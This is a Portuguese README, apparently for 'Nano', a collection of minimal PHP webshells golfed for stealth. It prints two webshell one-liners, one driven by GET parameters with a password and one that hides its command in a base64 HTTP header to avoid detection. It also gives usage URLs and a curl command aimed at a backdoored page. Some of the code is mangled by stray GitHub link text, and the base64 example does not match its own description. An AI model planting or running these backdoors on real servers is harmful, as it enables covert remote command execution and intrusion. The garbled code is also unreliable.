
Nano é uma família de webshells PHP escritas com o mínimo de código possível (code golf) para furtividade.
Nano é uma família de webshells PHP que passaram por code golf para serem extremamente furtivos e eficientes.
Coloque-o em watch, talvez; continuarei a enviar mais webshells aqui.
<?=$_GET[p]==_&&$_GET[f](https://github.com/s0md3v/nano/blob/HEAD/$GET_%5Bc%5D);
http://example.com/nano.php?f=function&c=command&p=password
f é para função
c é para comando
p é para senha
Por exemplo, o código abaixo executará o comando ls:
http://example.com/nano.php?f=system&c=ls&p=password
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0](https://github.com/s0md3v/nano/blob/HEAD/$x%5B1%5D);
Este é um pouco complexo.
Digamos que você queira executar system(ls), então escreva como system~ls e depois codifique em base64, ou seja, c3lzdGVtKGxzKQ==
Agora adicione qualquer 1 caractere no início. Digamos 'x', então ficará xc3lzdGVtKGxzKQ==
Agora abra seu terminal e digite o seguinte comando
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
Muito trabalho? Você pode usar o handler em vez disso.

Esta é a minha primeira coisa em PHP, então se houver uma maneira melhor de fazer o que fiz, por favor me avise ou abra um pull request.
O projeto nano é licenciado sob a licença MIT, o que basicamente significa que você precisa me dar crédito se quiser redistribuí-lo ou modificá-lo.